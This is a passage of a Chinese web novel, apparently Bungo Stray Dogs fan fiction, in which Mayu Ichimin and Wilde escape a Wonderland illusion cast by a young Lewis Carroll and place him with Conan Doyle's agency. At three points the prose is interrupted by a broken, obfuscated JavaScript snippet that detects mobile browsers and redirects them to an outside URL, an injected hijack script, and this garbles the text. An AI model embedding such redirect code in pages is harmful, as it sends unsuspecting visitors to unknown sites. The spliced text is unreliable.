斑点猎犬抬起头:“如果从社会学的角度……” 信天翁打断他,“钟塔侍从需要执行力!不需要学术研究!” …… 茧一眠看着这群动物吵得不可开交,干脆溜到角落里。 那只睡鼠正歪在椅子上打盹,活像某个翘班的坏家伙。他伸出手指,戳了戳金色睡鼠的肚子。 “唔……谁?”睡鼠迷迷糊糊地睁开眼,看到茧一眠后立刻坐直,“天哪,你怎么能不系领带就来开会?!” 茧一眠低头看了看自己:“我没有领带,不过……有戴蝴蝶结?” 睡鼠尖叫起来:“不!必须是领带!” 茧一眠:“……你好吵啊。” 真正的王尔德绝对不会扯着脖子这么不雅的喊叫,这下茧一眠彻底确信了,这个王尔德和这里全部都是幻觉。 睡鼠还在喋喋不休,茧一眠迅速伸手捂住它的嘴,很快,说不了话的睡鼠又进入了睡眠。 茧一眠打量四周,发现墙上挂着一面镜子。镜子没有倒影出会议里的动物,而是另一番光景:一个瘦小的小男孩正在黑板前解数学题。 结合现实,《爱丽丝漫游奇境记》的作者刘易斯·卡罗尔,牛津大学的数学讲师,虽然缩小了,但在解数学题,合理。 “找到你了。”茧一眠抄起睡鼠,大步走向镜子。 说实话,茧一眠自己也不知道为什么要抱着它——或许是因为这小东西在不说话的时候很像王尔德了,又或许它的个头刚好能抱在怀里,意外地能让人壮胆。 他伸手想要触碰镜面。就在指尖即将接触玻璃的瞬间,一股巨大的吸力突然将他拽入虚空。 天空是一种诡异的蓝色,不像正常的天空,更像被浸泡在墨水里的水彩纸。云朵呈现出奇怪的几何形状,三角形、正方形、五边形。 “啊——” “啊啊啊啊!” 一人一鼠在空中尖叫着坠落。茧一眠紧紧抱着啮齿般王尔德,看着地面急速靠近。他们重重地摔进一片玫瑰园,砸断了几株娇艳的白玫瑰。 “疼倒是不疼……”茧一眠揉着后脑勺爬起来。大概是幻觉的缘故,摔这么重居然一点事都没有。 茧一眠活动了下胳膊,忽然发现身边的鼠鼠好像僵了。 !!! 茧一眠拍拍拍,“歪?歪?你还好吗?王尔德?王尔德?” 睡鼠发出一声模糊的呼噜声,翻了个身继续睡。 茧一眠:“…………” 行吧,睡就睡吧,总比死了好。 茧一眠干脆把睡鼠抱在怀里,软乎乎的毛球很暖和。 “站住!”一个尖锐的声音响起。 茧一眠抬头,一群纸牌士兵将他们团团围住。这些纸牌士兵都拿着长矛,有的是红心,有的是黑桃,领头的是一个红心杰克。 红心杰克指着他,“你毁了女王的玫瑰园!必须去见女王陛下接受审判!” 茧一眠举起双手,“关于这个,我可以解释……” 黑桃士兵推了他一把,“没什么好解释的!女王讨厌白玫瑰,这些花本来要被漆成红色的。但是现在,它们都被你毁了!跟我去见女王赔罪!” 茧一眠被押着前往宫殿。说是押送,其实也就是几张扑克牌拿着长矛在旁边戳来戳去,他抱着睡鼠倒是行动自如。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15077427|163022||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 走在路上,喷泉里流淌的是红茶,树上结的是饼干,就连道路都是用糖果铺成的。 一个方块士兵低声说,“女王陛下今天心情很差,他肯定会被砍头的。” 红心士兵点头,“嘘,就要进皇宫了,不要议论了。” 进入宫殿,他们来到一个华丽的会客厅。 茧一眠抬头看去,噗嗤一声笑了出来——只见王尔德端坐在高台上,穿着一件夸张的红黑相间蓬蓬裙,头上戴着镶满宝石的皇冠。他的脸上画着浓重的妆容,嘴唇涂得鲜红。 王尔德显然也看到了茧一眠。他本来正因为莫名其妙被套上这身丑衣服而生闷气,看到茧一眠的瞬间更气了。 少年身上是一条蓝白相间的裙子,裙摆层层叠叠,胸前系着条纹蝴蝶结。 反观自己,这身红色蓬裙简直是灾难——夸张的裙撑,俗气的蕾丝边,还有那顶沉得要命的皇冠。更别提脸上这浓妆,他照镜子的时候觉得自己活像个马戏团的小丑,而且擦也擦不掉! 台下站满了各种各样的生物,见茧一眠居然敢在女王面前笑出来,顿时炸开了锅,“大胆!居然敢在女王面前发笑!” “陛下,砍掉他的头!” “这太无礼了!” “他应该被扔进红茶池!” 众生物争先恐后地表忠心,生怕自己被牵连。茧一眠看着这滑稽的一幕,笑得更欢了。 王尔德终于爆发,“闭嘴!你们这群吵死人的东西,全部给我出去!离开皇宫!” 动物们愣住了,面面相觑。 “还不快滚?不滚的通通砍头!”王尔德咬牙切齿。 于是乎,会说话的花朵、穿西装的动物、活着的扑克牌,全都争先恐后地跑了出去,转眼间偌大的宫殿就只剩下两个人。 “你是王尔德?”茧一眠问道。 王尔德翻了个白眼,“不然呢?还能有第二个我?” 茧一眠把怀里的睡鼠举起来:“这个也挺王尔德的。” “你在说什么傻话?”王尔德扶着额头,皇冠差点掉下来。 茧一眠收起笑容,“说正经的,你怎么也中异能了?” 王尔德说:“我听到电话里你的声音不对劲,就赶过来找你——啧。” 之后的话王尔德没有说出来,估计是大意也被牵连了进来,他们现在属于…幻觉连通的情况? 茧一眠说道:“对了,我之前在镜子里看到那个异能者了,是个小男孩。” “在哪?”王尔德立刻从王座上起身,一副要找人算账的架势。 茧一眠摇头,“现在找不到了,在另一个场景看到的,后来我被拉到了这边。” 估计是王尔德的到来改变了幻境场景,但这话他没说出口。 “那就找找这个场景有没有镜子之类的东西。” 茧一眠脚上是一双平底的小皮鞋,走起路来轻快无比。反观王尔德,一双血红色的高跟鞋至少有十厘米高。 “要不要我扶着你?”茧一眠好心提议。 王尔德瞟了他一眼:“不用。” 话音刚落,他就迈开长腿走了起来。那姿态飒气得令人咋舌,本就比茧一眠高出一头,踩着高跟鞋更是气场全开,走起路来步步生风。 茧一眠看着那双包裹在黑色丝袜里的长腿,红底高跟鞋每一步都稳稳当当,不禁呼吸一滞。不过一抬头看到王尔德脸上那浓重的妆容,又忍不住想笑,惹来了对方一记狠瞪。 宫殿的走廊装饰华丽,他们检查了一路的带有画框和装饰镜的物品:批改文件的狄更斯兔,喝下午茶的奥威尔猫,拿枪开炮的阿加莎鹰…… 王尔德:??? ……这都是什么玩意? 找了好一会儿,终于在宫殿的尽头发现了一幅油画。画中是现代的书房场景,一个小男孩正伏在书桌上写着什么。 茧一眠眯起眼睛,仔细看了看,“就是他,之前在黑板前解题。” “很好。”王尔德活动了下手腕,红色的蕾丝袖子滑落下来,敢让他穿这种丑衣服的人,他一定会给足对方教训。 15.第 15 章 穿过画框,王尔德和茧一眠来到了一间普通的书房。房间里堆满了各种教材和参考书,桌上还铺着做了一半的习题。 一个瘦小的男孩正专注地写着什么,完全没注意到身后多了两个不速之客。 “砰!” 王尔德一巴掌拍在桌上。 男孩被吓得发射性跳了起来,转身看到两个穿着华丽裙装的“女士”正怒气冲冲地盯着他。他惊恐地往后退,差点被椅子绊倒。 “想跑?快把你的异能解除!”王尔德一把抓住他的衣领,男孩吓得缩起脖子。 “什…什么?”男孩往后缩了缩,说话有些结巴,“你…你们是谁?为什么穿成这样?” 王尔德晃了晃他,“别装傻,这不都是你用异能干的?”红裙随着他的动作摆动。 男孩被这突如其来的晃动吓得缩了缩脖子,眼中的困惑更深,声音也变得结结巴巴,“异…异能?你在说什么?我没有让你穿这种衣服啊……” 王尔德显然不信,力度加大了几分,“在我用更直接的方式让你开口前,你最好现在就把异能交代清楚。” 男孩害怕地抖着身子,“我不知道,异…异能?你是说那个特殊的能力吗?我…我只让时间变得很慢……” 茧一眠站在一旁,心里正在快速分析情况,插话道,“你不知道异能吗?” 男孩拼命摇头,眼圈都红了,像是下一秒就要哭出来,“不…如果你说那种特殊能力,我只是想在图书馆看书,突然某天就发现自己能做到这些事。” 茧一眠很能共情,他当时也是这么莫名其妙得到异能,也是一问三不知。 王尔德的语气依然严厉,但手上的力道松了些,“你连异能是什么都不知道就敢乱用?” 面对高个金发男人的质问,男孩缩得更小了,身体抖得更厉害,话也说得更加断断续续。 “我…我不是故意的,真的。我…我会让人陷入幻想。但是幻…幻想的内容不全是由我决定的。” “也有一部分是由你们自身的潜意识决定的……” “什么意思?”王尔德追问。 男孩鼓起勇气,指了指周围的环境。他们所在的地方确实像是一间安静的书房。 “比如说,我在这里其实就是……想看书学习。所以我的场景是书房……你们自己所在的场景是你们自己潜意识想象出来的。” 他顿了顿,声音越来越小,“我不知道你们在哪里,也不知道你们做了什么……我只能让你们陷入幻想的状态,但具体幻想什么,我根本控制不了……” 王尔德不可能在潜意识想象自己穿这么丑陋的东西,一个念头浮现在他脑海——茧一眠先中了异能,他是因为碰到对方才被连带进来的,所以—— 王尔德目光如冰刀般锁定茧一眠:“所,以,说,这身红裙子是你的潜意识?” 茧一眠吓得连连后退,手在空中胡乱摆动,“不,不是!我知道原因出在哪了,之前我在图书馆看了几本童话……相信我!我也不想穿裙子啊!” 啊啊,是卡罗尔在逃避责任,那分明就是他的《爱丽丝梦游仙境》!他有苦说不出啊! “哼。”王尔德冷哼一声,茧一眠不确定对方有没有听进去这份说辞。 “把异能解除。”王尔德转身对男孩说。 男孩手足无措:“我…我不知道怎么做。” 这方面茧一眠熟悉,他可是刚训练完的人,“放松,试着放空大脑,想象自己不想待在这里了。” 男孩点点头,闭上眼睛。 一瞬间。 茧一眠身边的场景重新回到图书馆,身上的裙装也变回了原来的衣服。他立刻打开手机,而时间仅仅才过去三分钟。 王尔德回到现实时,发现自己还维持着抓着茧一眠胳膊的姿势,他迅速松开手。茧一眠没注意到这个小动作。 两人在书架间穿行,很快在最里面的角落找到了男孩。 这里几乎与外界隔绝,四周都是高耸的书架,地上铺着一张小毯子,角落里还有一盏小台灯。书架上堆满了各类教材和参考书,都被整齐地摆放着。看得出这里是男孩专门找的隐蔽学习场所。 男孩正缩在一堆书本中间,像只受惊的小动物。 茧一眠蹲下身,扶他起来,“说起来,你叫什么名字?又为什么要用异能呢?” 男孩小声回答道:“我…我叫刘易斯·卡罗尔。” “我就是想在图书馆学习。这里平时不让随便进,我只能趁保安打盹的时候偷偷溜进来。可每次没多久就得走,有时候被抓住还会被赶出去…我就想着,要是时间能过得慢一点就好了。然后,就真的发生了……” 他的声音越来越小。 茧一眠瞟了一眼地上的微积分,一时不知道该做什么表情。 这感觉就像遇见了跳级的优等生小孩在刻苦读书——他脑袋里的天使的一面在说“这孩子真好真用功啊”,恶魔的一面却在吐槽“你卷什么卷啊”。 最终天使一个金属环打飞了恶魔,茧一眠轻咳一声,道:“很好,你很刻苦,继续努力一定大有作为。不过你能控制异能的发动吗?” 卡罗尔摇头,“不太清楚…就是很想让时间慢下来的时候,它就会出现。” 茧一眠了然,大概是因为无法控制范围,才会让其他人被异能波及。 他感觉到王尔德正盯着自己,似乎在等着他来说明情况。 茧一眠揉了揉男孩的头发,“异能是一种特殊能力,像你这样的人被称为异能者。按照你们国家的政策,异能者必须归属国家管控。” “你现在是个‘野生''异能者,但如果再野生下去,你就会成为非法人士,被关进监狱。我的任务是带你去钟塔侍从接受培训,让你恢复合法公民的身份。” 原本还觉得这个黑发大哥哥很温柔的卡罗尔立刻警惕起来:“你…在骗人!我读过所有的英国法律…和政策,根本没有这种规定!” 茧一眠眨了眨眼,一时不知如何回应。 王尔德适时接过话,“这是女王颁布的隐藏法令,异能者的信息本身就是机密,自然不可能明文写进法律。只有异能者才知道这些规定。” 卡罗尔皱起眉头,哭丧着脸,“这…不公平!如果我知道有这种规定,就…就不会使用这种能力了!” 王尔德冷冷地说:“就是因为你们不知道这条法律,这条法律才能发挥最大的作用。总之,你现在已经处于被通缉的状态。” “慢着,还没有。”茧一眠打断他,转向男孩,“卡罗尔,你是英国人吧?” 男孩点点头:“是…是的。” “那没事了,你被通缉了。”如果是法国人就可以逃过一劫了。 “哇——”卡罗尔的眼泪一下子涌了出来。 茧一眠愣了一下,手忙脚乱地从口袋里掏出纸巾,“抱歉抱歉,对不起,我不是故意——” 皮一下子结果把孩子弄哭了怎么办,急急急! 卡罗尔听过钟塔侍从的名字,似乎是个特工组织。如果他的家人知道他能进去,一定会很支持……但就他所知,那里培养的都是见不得人的职业,会好几十年回不来家,被强制隐姓埋名。 他从小说话就不利索,经常被人笑话,性格胆怯又内向。他不喜欢人多的地方,不喜欢勾心斗角……他只喜欢数学,喜欢一个人安安静静地学习…… 卡罗尔抽泣着。 “别哭别哭,哎哟——”茧一眠手足无措地安慰着。 卡罗尔深吸一口气,止住哭泣,“我是不是真的没有选择?” 茧一眠看向王尔德。 后者耸耸肩,一副“你自己接的任务你自己处理”的表情。 茧一眠只好转回头,问道:“我能问问你为什么不想加入钟塔侍从吗?它在你们英国还是挺有权威的吧。” 卡罗尔认真地说:“因…因为,我觉得我会被欺负,我不想要没有自由的生活…我喜欢数学,想去上学,想考入牛津大学,想成为…一名数学家。” 茧一眠思考了一会儿,挪到王尔德身边,小声说,“如果不想当非法异能者的话,加入其他小机构是不是也行?我记得奥斯汀说过有一些异能事务所……” 王尔德挑眉,“你知道自己在说什么吗?这可是明目张胆地损害钟塔侍从的利益。” 茧一眠做了个嘘的手势,“悄悄滴进村嘛,找个机构给他挂个名,不耽误上学,不耽误考公,让孩子好好长大。” “你认真的?” “嗯嗯,如果这条路能走的话。” 王尔德意味深长地说:“这不是你答应奥斯汀的任务吗?你不怕她知道后和你绝交?” 茧一眠:“那位可是简·奥斯汀啊,怎么可能因为只是因为这样的小事绝交。” 大概,仔细想想茧一眠也有些拿不准。 “咳,再说了,我又不是把卡罗尔卖给敌对国家。而且……”他看了眼正努力憋着眼泪的卡罗尔,“我敢肯定,他以后会成为英国一个了不起的数学家。” 茧一眠蹭了蹭王尔德的肩膀,“怎么样,王尔德老爷有什么好路子吗?” “待定。”王尔德只丢下这么一句,就不再理会茧一眠了。 既然没有直接反对,就说明还有希望。 他又凑到卡罗尔耳边:“别担心,看见那边的金毛哥哥了吧。我没啥用,但是他很厉害,说不定能想到办法的,不过别声张。” 卡罗尔眼睛亮了起来,用力点点头。 茧一眠看他这副模样觉得可爱,想到以前邻居家养的小土狗,看到人就露出一副可怜巴巴的表情。 他伸手揉了揉卡罗尔的脑袋,那头蓬松的棕发 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15081618|163022||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 格外柔软,“走吧,我们带你离开这里。” 卡罗尔迟疑地看着他伸来的手,犹豫了几秒才小心翼翼地握住。 通向出口的走廊显得格外漫长。卡罗尔的步伐越来越僵硬,尤其是当图书馆门口的保安亭出现在视线里时,他几乎想要转身逃跑。 他认得那个保安——那是个脾气暴躁的中年人,已经把他赶出去至少五次了。 保安看到他们的瞬间,脸色变了。他先是惊讶地看着小男孩,然后目光移到两位大人身上,立刻紧张得挺直腰背。 这个总是偷偷溜进来的小鬼居然被钟塔大人物牵着走出来?难道这孩子背景不简单?还是说自己工作做得不到位,要被投诉了? 茧一眠朝保安点头示意,“您好,我们要带这个孩子出去。” “是、是的,当然可以。”见对面的语气平和,没有一丝责备的意思,保安连忙点头,主动为他们打开了门。 在保安如释重负的目光中,他们走出了图书馆。卡罗尔的肩膀终于放松下来,他偷偷抬头打量着茧一眠。 他的肤色和英国人截然不同——不是那种容易泛红的苍白,也不是带着灰调的冷白,而是一种微妙的、带着淡淡黄调的白皙。这种肤色并不显得没气色,反而像是上好的象牙,温润而内敛。 除此之外,卡罗尔注意到,茧一眠的脸上没有英国人常见的雀斑或红血丝,整个皮肤质地显得更加细腻均匀。 他的眼睛是琥珀色的,睫毛很长,在路灯下投下细小的阴影,看起来却并不严厉,反而有种说不出的亲切感。 就在卡罗尔专注观察茧一眠的时候,他感觉到一道目光落在自己身上。他转过头,正好对上王尔德的视线。 王尔德正眯着眼,若有所思地看着他和茧一眠握着的手,卡罗尔立刻又僵硬起来。 茧一眠:“对了,你家在哪?我送你回去吧。” 卡罗尔给出地址,是大学附近的牧师住宅区。 卡罗尔的母亲已经在门口等着他,看到停在门口的轿车时还被惊了一下。 茧一眠解释道,“在学校看到这孩子还在看书,这么晚了,怕他一个人回家不安全,正好顺路就把他捎回来了。” 他没提异能和偷溜进图书馆的事。这位夫人也对她儿子的特殊能力一无所知,一边道谢一边佯装教训儿子:“哎呀,真是的,又看书看到这么晚,让人家费心了,快向人家道谢。” 卡罗尔:“谢谢哥哥,再见。” 茧一眠:“不客气,好好学习。” 王尔德:“…………” 回程的路上,茧一眠继续开车。王尔德望着窗外,忽然开口:“你还挺亲近小孩的?” 茧一眠一愣,“我吗?也就那样吧。” 说喜欢是肯定不喜欢的,他讨厌大部分小孩,也讨厌小屁孩时期的自己。因为小孩总是又蠢又吵。但是偶尔遇到几个乖巧有礼貌的还是会友好对待的。 “对了,我打算去找奥斯汀一趟,她应该还没下班,今晚我大概会住在钟塔的宿舍。” “哦,随便你。送我回庄园。”王尔德没细究下去,靠在副驾驶座上,像发号施令一般。 夜色中的王尔德庄园在远处若隐若现。车内很安静,只有发动机的轻微震动。路灯的光影从车窗掠过,在王尔德的侧脸上投下忽明忽暗的光。 “为什么想帮那个小孩?”他开口道。 茧一眠没细想,顺嘴调侃道:“因为自己淋过雨,所以想给后人打把伞?” 王尔德勾起嘴角,“哦?就这个原因?” 茧一眠察觉到王尔德注视着自己的侧脸。 他收起玩笑的语气,认真思考了片刻:“大概就是……单纯想这么做吧。我也不知道这样做对不对,但是既然想做,就去做了。” 其实是报复啊报复,毕竟他就是被强制收编的,在看到卡罗尔和他的相似之处后,多少出现了一些逆反心理——收了我就别想安心收别人了。 王尔德垂下头,不知道在想什么。路灯的光映在他金色的发丝上,忽然,他笑了:“把手伸出来。” “啊?”茧一眠虽然疑惑,但还是伸出了右手。 王尔德从储物格里翻出一支签字笔,在茧一眠的手心写下一串数字。笔尖划过掌心,有点痒。 “其他的你自己看着办,我不管了。”他说完就推开车门。 茧一眠看着手心的号码,冲王尔德的背影喊道:“我还要开车呢,写在手心容易花!” “就是要这样,”王尔德转身,背对着他挥了挥手,“让你回去的路上都提心吊胆,紧张心跳加速。” 他的声音随风飘散,带着一丝不易察觉的捉弄意味。 茧一眠看着王尔德的身影逐渐融入庄园的花影树荫之中。他低头看向掌心的数字,手指微微蜷曲了两下…… 16.第 16 章 茧一眠把车停在钟塔大楼的地下停车场,看了眼手表,已经十一点多了。 走廊里大多数办公室都已经熄灯,只有零星几个还亮着。他一眼就看到了奥斯汀的身影,她抱着一大摞文件从复印室出来,步子有些虚浮。 “要帮忙吗?”茧一眠快步上前。 奥斯汀抬头,脸上的疲惫一闪而过:“茧?你怎么还在大楼里,没休息吗?” 茧一眠接过大半叠文件,“没,正要休息呢。今晚打算住宿舍。这些要送到文件室?” “嗯,最后一批了。”奥斯汀转了转酸痛的手腕。 他们沿着走廊慢慢走,茧一眠看着奥斯汀疲惫的样子,想说的话在喉咙里转了几圈又咽了回去。 虽然他之前说相信奥斯汀,但是他内心还是有些担心自己的擅作主张会给她增添麻烦。 他忍不住试探一下,问道:“那个……如果我接的任务失败了会怎么样?你会收到牵连吗?” 奥斯汀的脚步顿了一下:“怎么这么问?” “就是……假设性的问题。” 奥斯汀的声音里带着几分担忧,“这可是最基础的任务了,对我们部门倒是影响不大。不过,第一个任务就失败的话,你后续的考核和任务等级都会受影响……还有一定概率得到加训。” 茧一眠低头看着怀里的文件,不再说话,但心里却是实实在在松了口气。加训就加训吧,不会牵连到别人就好。 文件室就在拐角。奥斯汀刷卡开门,茧一眠帮她把文件放好。 “那我走了,你早点休息。”他说。 奥斯汀对他笑了笑,“好,你也好好休息。别想太多,你一定能完成任务的。” 回到宿舍,茧一眠打开灯。把外套脱下来挂在门后的衣钩上,衬衫叠好放在椅背上。 掏出手机看了看时间,23:17,又看了眼新存进去的电话。时间很晚了,贸然打过去可能会打扰到对方休息,还是等到明天吧。 他给那个电话的备注是"F.空格",等明天打过电话再把备注补全。 他习惯把通讯录分成几个等级:A组是家人,但是没有家人,所以空;B组是亲近的朋友;C组是普通朋友;D组是经常联系的同事;而E组是他给不太熟的同事预留的分组;F是特殊的联系人。 目前排在最前面的是王尔德,在B组。 说起王尔德,按他的作息,这会儿应该在做睡前的面部护理。 他编辑了条短信:今天谢谢你,辛苦了,晚安。 收件人,王尔德,点击,发送 铺好床,他刚钻进被窝,手机屏幕就亮了。王尔德的回复很简短:晚安。 茧一眠笑了笑,果然没猜错,这位大爷还醒着。他把手机放在枕边,闭上眼睛。尽管还有心事,现在的他该睡觉了。 …… 六点整,闹钟响起的瞬间茧一眠就像诈尸一样弹坐起来,伸手就去摸床头的手机。 拿着手机盯了半天,手指在号码上悬了又悬。这么早打,万一对面还在睡觉怎么办?他在房间里来回踱步,时不时看看表。 六点半,太早。 七点,可能还没上班。 七点半,应该快了吧? 等到八点,他觉得是时候了,换了身衣服下楼。伦敦的早晨依然阴沉,淅淅沥沥下着小雨。 钟塔的员工陆陆续续来上班,茧一眠躲开人群,找到一个死角。这个位置在两栋楼之间的夹缝里,视线被树木遮挡,最重要的是,没有监控摄像头。 他又检查了一遍四周,确定安全后才掏出手机。深吸一口气,终于按下了拨号键。 电话响了三声才被接起。 对面传来一串语速飞快的英语,似乎是一串地址,随后电话就被挂断了。 还好茧一眠提前打开了录音功能,来回听了四五遍,他终于把整个路线记下来。 他数着路口,拐进一条狭窄的老街。很快就看到了电话里说的建筑——一家招牌上写着[1887]的店铺。 直走两百米,拐进旁边的巷子,沿途经过几家小店。其中一间是小提琴店,橱窗里陈列着各种规格的琴,店内隐约传来调音的声音。 再往前走,是一家滑雪用品店,虽然伦敦几乎不下雪,但橱窗里的雪板和雪靴依然闪闪发亮,仿佛随时准备着迎接一场不会到来的暴雪。门口立着一个穿全套雪服的模特,在伦敦的初夏显得格外突兀。 从这里拐进一条更窄的巷子,眼前是一条僻静的街道。茧一眠在伦敦待的这段时间,还是第一次见到这样的街道——仿佛像上个世纪的伦敦,路灯是煤气灯的样式,石板路上还能看到马车轮子碾出的痕迹。 一排灰扑扑的房子挤在一起,向东数第三栋就是目的地。这栋楼比两边的房子都要高一些,窗户上糊着厚重的窗帘,砖墙已经被伦敦的雨水冲刷得发黑。不过门前的铁栅栏干干净净,门把手附近也是光亮的,显然有人经常打理。 茧一眠走近铜制门牌,上面刻着等宽英文体的[福尔摩斯侦探事务所]。 他愣住了,并立刻明白了自己要见的人是谁——阿瑟·柯南·道尔,那个创造了福尔摩斯的作家,让推理小说成为一种文学艺术的男人。 茧一眠深吸一口气,正要敲门,门却自己开了。一个穿着深色马甲的银发高挑青年站在门口,“进来吧,就等你了,先生在二楼。” 这个人的英文发音更加柔和、圆润,像是爱尔兰那边的口音,不是电话里那个报地址的人。茧一眠刚想说什么,对方已经转身快步走上楼梯,只留下一句:“跟上。” 楼梯是老式的木制螺旋梯,每一级都会发出吱呀声。两边的墙上张贴了一些剪报,穿过走廊尽头的木门,一间宽敞的办公室出现在眼前。 室内显得有些昏暗。壁炉里燃着炉火,空气中弥漫着烟草和皮革的气味。正对门的那张大办公桌上堆满了报纸、信件和各种文件。 桌后坐着一个中年男人,正在用烟斗点燃一撮烟丝。昏暗的光线中,烟斗的火光映照着他戴着圆框眼镜的脸。 茧一眠心跳有些加快。 这个世界的文豪性格大多融入了作为异能作品的影响,不知道阿瑟·道尔会更偏向华生一些,还是夏洛克一些? “你犹豫了3.7秒才推开门,显然在思考什么。从你的目光判断,但你的并非在观察房间,而是在寻找特定的线索。有趣。” 茧一眠倒吸一口气。这说话方式—— 道尔放下烟斗,“钟塔侍从的新人,异能者,非自愿加入。从你的站姿看经过训练,刚完成基础课程。衣服是新的,出于你身边某人的品味,但你很少穿这种正装,领带的系法显然不够熟练。” “你今天很早就醒了,大约六点,因为领口的皱痕显示你换过一次外套。来这里之前在钟塔大楼,鞋子上的泥水痕迹表明你走过后门的小路,那是避开监控的路线。” “而你今天来这里,是为了背叛钟塔侍从。” ——是福尔摩斯啊啊啊!!! 茧一眠在内心惊呼,妈妈,有生之年!!所有的秘密在他面前都无所遁形,这感觉太棒了!! 茧一眠轻咳一声,正了正身子。既然什么都瞒不过这位的眼睛,那就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15086144|163022||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 索性和盘托出。反正他本来就是来寻求帮助的。 “背叛这个词太重了,先生。我来这里是为了一个孩子,他叫刘易斯·卡罗尔。年纪不大,有些腼腆,说话还有点口吃,但非常刻苦。这个孩子不适合在钟塔侍从,那里太规范了。您一定知道钟塔侍从是什么样子。” 茧一眠说着,注意到道尔的眉毛微微挑起。他深吸一口气,声音变得更加恳切,“请相信我,我没有任何危害英国利益的意图。恰恰相反,我相信让卡罗尔在更自由的环境中发展,对英国的数学科学发展才是真正的助益。我愿意为他担保,这个孩子未来一定会在数学界大有成就。” 道尔安静地听着,他见过太多人在他的演绎法下惶恐、害怕、掩饰、愤怒。这个少年反倒是有些隐隐的兴奋和崇拜?他已经很多年没有从别人身上感受到这样对自己的情感了。 道尔的目光变得锐利:“你知道这么做的后果吗?钟塔侍从不会放过背叛者。” “我知道。但总好过毁了一个孩子的未来。” 道尔的声音带着讽刺,“为了一个素未谋面的陌生人,值得冒这么大的风险?” “值得。因为我就是这样被带进钟塔侍从的。” “有趣。”道尔转过身,道尔敲了敲烟斗,“如果我说不呢?” 茧一眠深吸气,深呼气,最后说道:“我会很没出息地继续求您,直到您愿意收留或者找到其他愿意收留他的人。” 道尔审视了茧一眠一会,突然说:“这话说得像个傻瓜。不过——希望那孩子真如你说的聪明,我这里不需要拉低智商水平的白痴。” 茧一眠愣了几秒才反应过来——这是答应了?他原本都想好了求情的台词,准备好了三顾茅庐的场景,又或是雨夜求药的场景,结果就这么简单? 道尔看穿了他的心思,“事情的解决往往是很快的。最慢最难以进行的是收集情报。当事人越是拖拖拉拉,越是掩盖信息,事情就会越发繁琐。” 他从抽屉里取出一张纸:“不过我有条件。第一,人必须是自愿的。第二,如果钟塔侍从追查起来,你和事务所需要承担同等责任。” “我愿意。” “在这里签字。”道尔推过纸和钢笔,“我会让档案显示这孩子在一个月前就加入了事务所。这样一来,钟塔侍从那边也无法太过追究你的责任。” 茧一眠签完字,由衷地说:“谢谢您。要是我第一次来伦敦时就遇到道尔先生就好了。” 道尔头也不抬地说,“别做白日梦,我可做不到直接保下一个铁窗人士。” 茧一眠一脸惊讶,“啊?您怎么知道我进过局子?” 道尔收起合同:“我不知道,你自己说的。在得到钟塔侍从的下一步指示前,你最好不要再来这里了,免得追查到你。” 茧一眠点点头,明白这是为了避免不必要的风险。他深深鞠了一躬,转身离开。 道尔看着少年的背影,直到脚步声消失在楼梯尽头。 办公室后门轻轻打开,一个身材瘦削的青年走了进来。他的左手戴着一只小羊皮手套,另一只手套随意地塞在马甲口袋里。 青年问道,“那个东方少年是华国人还是日本人?” “华国人。日本人鞠躬时上半身会完全折成直角,而他的角度大约在75°左右。” 听到回答,青年露出笑容:“真的?不愧是道尔先生。” 道尔从抽屉里取出一张号码便签,递给青年,“给你,等他下次来了再联系,在那之前保持距离。” “好。”青年很相信道尔的判断,将纸条收进怀里。 17.第 17 章 茧一眠在城郊的老旧儿童公园里找到了卡罗尔。这里的游乐设施都有些年头了,一排卡通动物雕塑褪了色,有几个还破了洞。最大的那个白兔雕塑肚子上破了个大洞,里面却传出翻书的声音。 他轻轻敲了敲兔子的肚子:“有人在家吗?” “啊!”里面传来一声惊呼,接着是书本掉落的声音。过了几秒,一个小的脑袋从洞里探出来,看清是茧一眠后,少年松了口气。 “这里还能再坐下一个人吗?”茧一眠问。 卡罗尔点点头,往里面挪了挪,把散落的书本整理到一边。茧一眠钻进洞里——这里比想象的要宽敞,卡罗尔已经在里面布置出了一个小天地,还铺了几块纸壳垫子。 他第一次卡罗尔时,那会儿他把自己藏在书架之间,现在直接在兔子肚子里安家了。难不成他对小空间有什么执念吗? 茧一眠开口道:“我给你找到了个好去处,是阿瑟·道尔先生的事务所,他愿意收你。” 卡罗尔的眼睛忽然瞪圆:“真…真的吗?” 茧一眠压低声音,“对,但是你不要声张,如果有人问你什么时候加入的,就说是一个月前。” “具体,是哪天?”卡罗尔拿出笔想要记下来。 茧一眠摇摇头,道尔先生确实没告诉他具体日期,以他的立场,不知道这些细节反而更显得真实。“这个需要你和道尔先生具体商量。” 他递给卡罗尔一张纸,“这是地址。道尔先生说了,你需要在事务所帮忙干活,整理资料搬东西之类的。不过他会给你开工资,而且不会强制你,你的学业是第一位。” 